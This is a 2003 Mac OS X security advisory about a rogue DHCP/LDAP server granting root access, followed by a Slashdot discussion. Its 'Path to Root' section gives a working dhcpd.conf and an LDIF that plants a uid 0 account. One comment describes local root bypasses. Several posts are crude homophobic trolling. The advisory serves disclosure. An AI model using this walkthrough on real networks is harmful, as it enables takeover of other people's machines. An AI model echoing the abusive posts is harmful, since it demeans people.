It helps enormously if the user is cognizant of the dangers in trusting the information. One should avoid issuing security warnings if only to make sure users don't simply get in the habit of clicking "OK". This problem has manifested itself many fold in Microsoft Windows where users are conditioned to clicking through security warnings for ActiveX controls and similar issues even when they possess a signature verifiable by an accepted X.509 certificate authority. To a lesser extent, the click-through licensing has become a force of habit for many users as well where they don't bother reading a license in which they may be guaranteeing a free taxi ride every Saturday to the developer.

Usually, no harm can come from accepting data from a DHCP server. One presumes that even if the server isn't legitimate it won't cause any unavoidable harm. In the average case, the user will wind up with an IPv4 address that won't work or some similarly benign difficulty. In the worst case, a malicious DNS server assignment could cause harm through social engineering approaches; an attacker could fool the machine and user into transmitting login and password information to the wrong host. However, SSL, which the well-secured user should be using, should mitigate this harm by authenticating the identity of hosts.

In this case, the netinfod processes accept the authentication server information at face value even though the source is unknown and unverified. This information should be untrusted unless the user has explicitly told the machine otherwise. Mechanisms for verifying the trust with the user abound. Most obvious would be to prompt users before accepting authentication or automounting information from a network. The IP, MAC address and network interface of the DHCP server could be saved to make the prompt a once-only experience for desktop support teams deploying new systems. Similarly, the user could decide never to trust authentication information from foreign hosts. This simple step would force malicious folk to work significantly harder to obtain the trust of the user and the user's system.

An Attack Narrative on a Wireless Network
A malicious individual sets up a laptop with an 802.11b card running in AP mode. The individual then sets up a DHCP server on the laptop to give addresses and ldap-server (DHCP option 95) responses that point to the laptop and a private network. The individual then sets up an LDAP server on the laptop pre-populated with a user account with uid 0 and the ou=macosxodconfig item with the appropriate XML for the field locations.

The individual then simply sits back and waits for the DHCP clients to take leases on the wireless network. When they do a simple port scan of the assigned address will reveal any ports that can be taken advantage of. At this point, the individual can install and run any malicious executable desired as uid 0.

The malicious individual at this point can turn the 802.11b card in their laptop off and the only trace of their malfeasance on the victim machine is possibly a few lines in the system logs.

Adapting the Attack to a Wired Network
To adapt an attack on this vulnerability to a wired network the malicious individual simply needs to beat any legitimate DHCP server that might be on the network in sending a response out to a request for an address. If the machine was previously associated with a DHCP server this becomes more difficult but is by no means impossible. The wired attack or an attack on an existing 802.11b/g network is more complicated but still feasible.

The Path to Root
Taking advantage of this vulnerability is unfortunately quite trivial. Here is a walk through of the steps needed for the wireless attack outlined above:
Take a fresh install of a UNIX-like system that supports a WiFi card.
Configure the WiFi card to address 192.168.42.1 with a /24 network mask, if possible put the WiFi card into AP mode with any network name.
Install ISC dhcpd, available as a pre-built package for nearly all UNIX-like systems.
Enter the following into the dhcpd.conf (but don't start it yet):
option ldap-server code 95 = text;
authoritative;
subnet 192.168.42.0 netmask 255.255.255.0 {
range 192.168.42.2 192.168.42.254;
option ldap-server "ldap://192.168.42.1/ou=evil";
}

Install OpenLDAP, available as a pre-built package for most UNIX-like systems.
Create a file /tmp/odconfig.xml with the OD mapping information OS X needs. Alternatively, the ou=macosxodconfig,ou=evil object can be created from an OS X machine using the Directory Access application.
Create a file evil.ldif with the following contents and feed it to ldapadd(1):
dn: ou=evil
objectClass: organizationalUnit
ou: people

dn: uid=bluemeanie,ou=evil
objectClass: posixAccount
uid: bluemeanie
userPassword: {crypt}some_crypted_password
cn: Malicious User
gecos: Malicious User
homeDirectory: /
loginShell: /bin/sh
uidNumber: 0
gidNumber: 0

dn: ou=macosxodconfig,ou=evil
objectClass: organizationalUnit
ou: macosxodconfig
description: file://tmp/odconfig.xml

Confirm the creation of the above records using ldapsearch(1)
Start up the dhcpd process to the WiFi interface
Watch /var/db/dhcpd.leases for potentially vulnerable hosts who load the configuration
Portscan the vulnerable hosts with a tool such as Network Utility.app or nmap to find services
Log in to any presented services using the bluemeanie (uidNumber 0) credentials
Bear in mind that the vulnerable hosts may need netinfod(8) to be reloaded to fall prey, waiting for them to be rebooted is sufficient.

History of this Advisory & Vendor Contact Log
2003-10-09 Initial version of this advisory
2003-10-09 Apple Computer notified
2003-10-09 Apple Computer confirmed receipt and forwarded to eng. team
2003-10-11 Minor edits, also added "Philosophical Issues" and "Path to Root"
2003-10-14 Apple Computer assigns specific point of contact
2003-10-14 Requested confirmation of issue with Apple Computer
2003-10-15 Apple Computer confirms issue
(2003-10-24 Original deadline given to Apple for acknowledging issue)
(2003-10-24 Mac OS X 10.3 is released with this known issue)
(2003-10-28 Mac OS X 10.3 Security Update released, does not address issue)
2003-10-28 Requested update of fix status from Apple Computer
2003-10-28 Apple Computer proposes Nov. 3 fix date
2003-10-29 Apple Computer reneges on Nov. 3 date
2003-10-29 Requested fix in "2 or 3 weeks" from Apple Computer
(2003-11-04 Mac OS X 10.3 Security Update released, does not address issue)
(2003-11-15 Mac OS X 10.3.1 is released with this known issue)
2003-11-17 Requested update of fix status from Apple Computer
2003-11-18 Requested update of fix status from Apple Computer
(2003-11-19 Mac OS X 10.3.1 Security Update released, does not address issue)
2003-11-19 Apple Computer replies "scheduled to go out in December's update"
2003-11-19 Deadline of Nov. 26 given to Apple Computer
2003-11-25 Minor edits, made "Path to Root" a little more work for the script kiddies
2003-11-26 Advisory issued (48 days after initial vendor notification)

Author, Credit, Redistribution and Copyright Information
This advisory was written by William Carrel.

Redistribution of this text, in whole or in part, with proper credit given is permitted on or after 17:00 UTC, November 26th, 2003. Any other redistribution of this advisory without the explicit consent of the author is not permitted.

Copyright 2003, William Carrel

Happy Holidays.

x-queeze me, but... (1)

airdrummer (547536) | more than 10 years ago | (#7572544)

given the typical mac user, it would be helpful if he'd specified /Applications/Utilities/Directory Access

What is telling (3, Informative)

Space cowboy (13680) | more than 10 years ago | (#7572331)

is that this is news. Ok, it's not a vanilla BSD, but it is based on BSD, which has a fantastic record on security. What will be interesting to find out is where the bug came from - Apple or some third party ...

I'm pretty sure it was Apple that could boast of no exploits against them (this was OS9 days). Sad to see that go, if it's true. Any unix-os is a friend of mine :-)

Simon

Re:What is telling (1)

GigsVT (208848) | more than 10 years ago | (#7572445)

It's easy to have no exploits when you have very little functionality!

OS9's DHCP client barely worked at all, it was a major fight to get it to do anything right.

Re:What is telling (5, Funny)

Boing (111813) | more than 10 years ago | (#7572450)

Any unix-os is a friend of mine

He's a friend of SCO! Burn him!

Re:What is telling (0)

Anonymous Coward | more than 10 years ago | (#7572509)

I don't think you understand what is meant by "BSD" as it relates to OS X.

Of course most Apple fanboys don't, otherwise they wouldn't be fanboys but oh well gotta give the marketing dept. some credit.

ridiculous (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#7572334)

its ridiculous how microsoft will take these little unlikely security breaches for apple and linux and blow them out of perportion like they are somehow worse than windows security holes

Mirror (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#7572363)

Karma, meet your whore! Anonymous what?

The security advisory [slushdot.org]

Disclosure Policy [slushdot.org]

Nothing is infallible (4, Insightful)

Coryoth (254751) | more than 10 years ago | (#7572369)

So, we have yet another security hole. No surprises there - they will come up eventually. It sounds as if the patching is reasonably prompt (though next month doesn't sounds that fast - hopefully that means it is well tested and it won't break anything like MS patches can). Ultimately though, we don't see many holes for MacOS X. Yes, I'm sure they exist, but they are a lot less frequent than some.

For instance, there's still this [theregister.co.uk] unpatched hole in IE that MS doesn't seem inclined to do much about right now. So much for their "on average a patch in 24 hours" policy they were claiming. Looks like they'll get their patch out around the same time Apple does. I guess we hope that means that they've tested it this time...

Jedidiah

Re:Nothing is infallible (0)

mobby_6kl (668092) | more than 10 years ago | (#7572574)

>For instance, there's still this [theregister.co.uk] unpatched hole in IE that MS doesn't seem inclined to do much about right now.

but this doesn't mean thats ok, the way it should be. I mean for example if MS didn't patch their soft at all, would it be ok for others to stop patching and fixing stuff and say 'Hey! Microsoft doesn't patch so we won't!'

What is the fix? (4, Insightful)

stefanb (21140) | more than 10 years ago | (#7572383)

I'm not sure I fully understand the problem, but it appears to me that the defaults of just accepting information from DHCP for authentication and authorization are wong; not necessarily any piece of software. (It is debateble whether the very possibility of obtaining such information from DHCP is such a bad idea that the option should not be offered at all.)

Obviously, the fix is not quite so easy: instead of just updating a binary or two, Apple needs to devise a program/an advisory that will alert users to the problem, and that also makes sure people don't shoot themselves in the foot (turn option off, suddently you can't log in anymore).

Devising such a thing, and testing it in a wide variety of environments will take time, so I wouldn't blame Apple for "reacting slowly" just yet.

If you are unsure why it was made public... (3, Interesting)

bdigit (132070) | more than 10 years ago | (#7572385)

..then why are we posting a link to it and making it even more public?

Re:If you are unsure why it was made public... (0)

Anonymous Coward | more than 10 years ago | (#7572582)

So, perhaps people might be able ti follow the instructions, and mitigate the threat alltogether?

No... Of course not! Afterall, that would be the sensible thing to do!

Not exploitable in the default configuration, at l (4, Interesting)

Onan (25162) | more than 10 years ago | (#7572386)

Apple has essentially made the design choice to default to a system which trusts the local dhcp server. Which is problematic much of the time, but convenient if you'd like to just unbox a new shipment of macs for your lab and plug them in, without needing any further client-side config.

This means that the dhcp server can provide authoritative information about anything ldap handles, including user accounts. So Mallory can use a rogue dhcp server to give herself a root account on your system.

But unless I'm mistaken, the default configuration still doesn't allow her to do anything with it. sshd and afpd are turned off by default, so even having a root account doesn't get you anything unless you physically sit down at the box and log in locally.

I think I'd prefer that the system defaulted to not trusting other hosts for anything beyond network numbers, but I don't think that issue will lead immediately to a rash of rooted osx machines.

People post Windows exploits immediatley (2, Insightful)

DaveCBio (659840) | more than 10 years ago | (#7572392)

Why should it be any different for Macs?

Re:People post Windows exploits immediatley (0)

Anonymous Coward | more than 10 years ago | (#7572522)

Wha? Slashdot doesn't cover windows exploits at ALL. If they did we would have to have a whole section devoted to them.

Dear Apple, (-1, Troll)

Anonymous Coward | more than 10 years ago | (#7572422)

I am a cock-smoking teabagger. I bought an Apple computer because of its well earned reputation for being "the" gay computer. Since I have become an Apple owner, I have been exposed to a whole new world of gay friends. It is really a pleasure to meet and compute with other homos such as myself. I plan on using my new Apple computer as a way to entice and recruit young schoolboys into the homosexual lifestyle; it would be so helpful if you could produce more software which would appeal to young boys. Thanks in advance.

with much gayness,

Father Randy "Pudge" O'Day, S.J.

Slashdotting to the rescue! (5, Funny)

SuperBanana (662181) | more than 10 years ago | (#7572435)

It is unclear why an exploit was made public before Apple resolved the problem

Slashdotting to the rescue! Apple has at least a few more hours now.

Good News? (3, Insightful)

KrizDog (95871) | more than 10 years ago | (#7572441)

Now I can finally login as root on OSX. Considering all my friends running OsX have no idea what their root password is, or for that matter what root is, this seems like a blessing.

Re:Good News? (4, Insightful)

Jesrad (716567) | more than 10 years ago | (#7572531)

Root account is disabled by default. Apple has chosen to make the users do all administrative tasks via sudo instead, which makes sense in the case of your clueless friends.

Re:Good News? (1)

pi radians (170660) | more than 10 years ago | (#7572543)

root isn't enabled in Mac OS X.

Either use sudo or enable it via /Applications/Utilities/NetInfo Manager (Security->Enable Root User).

It is recommended to only use sudo.

Re:Good News? (1)

hondo77 (324058) | more than 10 years ago | (#7572559)

Considering all my friends running OsX have no idea what their root password is...

That's because your friends' boxes don't have their root login enabled by default so there is no root password, troll.

Re:Good News? (1)

kwerle (39371) | more than 10 years ago | (#7572569)

Now I can finally login as root on OSX. Considering all my friends running OsX have no idea what their root password is, or for that matter what root is, this seems like a blessing.

If you have admin rights on the system:
Log in.
sudo su -

Done.

But really, you should almost never need to be root. For those times that you do, I recommend:
sudo whaterver I need to do

That way you don't become root and accidentally do something you should not have been doing. It's one command at a time...

Thats what you get for using pseudo-open source (-1, Troll)

Anonymous Coward | more than 10 years ago | (#7572444)

If you use pseudo-open source corporate bullshit then this is what you get. No shocker.

bigger problem (3, Insightful)

kaan (88626) | more than 10 years ago | (#7572447)

Let's assume that somebody is sitting outside of my apartment with all of this wireless hijacking configured, and we'll further assume that I've got all of the exact configurations required for my machine to be vulnerable. One would presume that this person is after the data in my machine, or wants to cause problems for me. Why else would they be trying to break in and gain root access? (btw, don't I need to have enabled the root account for this person to get root access, since root is not enabled on OS X by default?)

I might be going out on a limb here, but I would venture to say that there's a much bigger threat because the dude could just kick my door down and take my entire computer away with him. Then he can have all my data, and all of my applications, and my hardware too. Meanwhile, some other loser nerd is still mucking around trying to get this "hack" to work, but the guy who jacked me is walking away with my machine.

I understand this security issue is a threat and all, but I just don't see why anyone should be overly concerned. People seem to come up with scary stories like this about all kinds of things, hyping the facts up to make it seem like everyone who owns a Mac today is going to have a nerd take over their machine and steal all of their stuff. It reminds me of the pains people will go to in order to "secure" their machines, but then do something completely insecure like walk away from their desk for 10 minutes without password-protecting their machine.

Re:bigger problem (3, Insightful)

freeweed (309734) | more than 10 years ago | (#7572516)

I might be going out on a limb here, but I would venture to say that there's a much bigger threat because the dude could just kick my door down and take my entire computer away with him.

Person breaks into your place, steals your computer. You know about it, you can call the cops. You can also change bank account info, credit cards, passwords, or any other information you might keep on your computer (they're used for more than just porn, ya know :).

Someone hacks in remotely, you have no clue it happened. They can do what they want, when they want, and there's absolutely nothing you can do about it.

Re:bigger problem (0)

Anonymous Coward | more than 10 years ago | (#7572529)

So how come no one ever uses that arguement when a Windows vulnerability comes out?

It's equally applicable.

Of course there is a reason why a "nerd" taking over your computer and some guy kicking down your door and stealing it are completely different but I don't want to waste a lot of time on a pointless slashdot arguement...

Re:bigger problem (1)

ChiperSoft (640293) | more than 10 years ago | (#7572535)

yes, someone could steal your actual hardware, but doing that paints a much larger target on the thief's back. Breaking and entering is a much larger crime then data theft. A guy sitting in his car, if he gets caught, is likely to get a slap on the wrist compared to what the guy breaking down your door could get. The guy in the car is less likely to be noticed, whereas the man walking off with your computer is very conspicuous. Lets also not forget that hardware theft is covered by insurance... data theft is not.

Re:bigger problem (2, Insightful)

venom600 (527627) | more than 10 years ago | (#7572540)

Have you considered the possibility that an attacker may not be interested in any of the data you have on your computer. Instead, he or she may just root it, leave a back door and come back later to use your box as a launch platform for a DOS? Who's liable then?.....you. What if the person places child pornography on your computer and joins it to a P2P network?

I think there is a common mis-conception out there about the intentions of crackers. You don't have to have valuable data on your computer to have valuable computer resources.

MAC (-1, Funny)

Anonymous Coward | more than 10 years ago | (#7572466)

Oh noes! A MAC exploit, that's unpossible! I thought only Windows was capable of having bugs.

RFP policy (0)

Anonymous Coward | more than 10 years ago | (#7572467)

Why does it matter that the exploit was released before a patch had been made public? The RFP policy is not anything which matters. It is just one security consultants stance on the topic, which has been adopted by a fair number of people in the security community. It does not by any means have to be followed by anyone.

Perhaps the exploit has been floating around in the underground for a few weeks or months?
Typical comment by someone not in the scene.

why? (5, Funny)

silicongodcom (241132) | more than 10 years ago | (#7572473)

"It is unclear why an exploit was made public before Apple resolved the problem."

no SCO news!

Dear Father O'Day: (-1, Troll)

Anonymous Coward | more than 10 years ago | (#7572480)

Thanks for your letter. Being Catholic myself, I know exactly what you're talking about! It has always been our plan here at Apple Computer Inc to revolutionize personal computing with our high-quality and highly gay products.

I'm happy to answer your letter by letting you know that YES we will be releasing an entire hLife ("homo-life") software line. You'll be able to recognize it in stores by the small stylized logo depicting a large cock entering a tight anus with an Apple logo on it. ("Suddenly it all comes together" indeed!).

Anyway, I hope you and other members of our community will join us on our mission, and purchase the exciting new hLife boxed set. Only the boxed set comes with translucent cock rings!

Sincerely,

Harry Rodman
Vice-president
Homosexual Liaison Services
Apple Computer, Inc.

Local insecurity (2, Informative)

Anonymous Coward | more than 10 years ago | (#7572497)

You can "physically sit down to any Mac OS X machine and log in as root locally" by doing this:

1. Shut down machine, or power it off if you can't shut down.

2. Hold down Command-S while starting up the machine.

You're in as root, no login required, and it even tells you how to mount local filesystems writable.

You can also reset the password by booting from a Jaguar or Panther installation CD with the "C" key down, and resetting the password from the Installer menu.

I love my Mac, but Mac OS X is not a secure OS.

I've reported this bug before, and Apple sees it as a feature.

Re:Local insecurity (0)

Anonymous Coward | more than 10 years ago | (#7572541)

This is why i put peanut butter on my CD drive and symbolically linked all shells to /dev/null

Re:Local insecurity (5, Insightful)

Commykilla (107585) | more than 10 years ago | (#7572552)

If you have physical access to a machine, security is compromised anyway. You can rip out the hard drive and take/modify the bits by force if you want. If the machine is locked in a box, then you can't reboot it without being root, so the exploit doesn't work and you're still safe.

Re:Local insecurity (0)

Anonymous Coward | more than 10 years ago | (#7572564)

Most OSs are vulnerable when you have physical access to the machine.

Here's a mirror (2, Informative)

EvilStein (414640) | more than 10 years ago | (#7572514)

http://www.pbp.net/~jnichols/dhcp-vuln.html

Link for the extra-lazy: here

I say we take off and.. (1)

cutecub (136606) | more than 10 years ago | (#7572599)

"I say we take off and Nuke the entire site from orbit. Its the only way to be sure."

Load More Comments
Slashdot Login

Need an Account?

Forgot your password?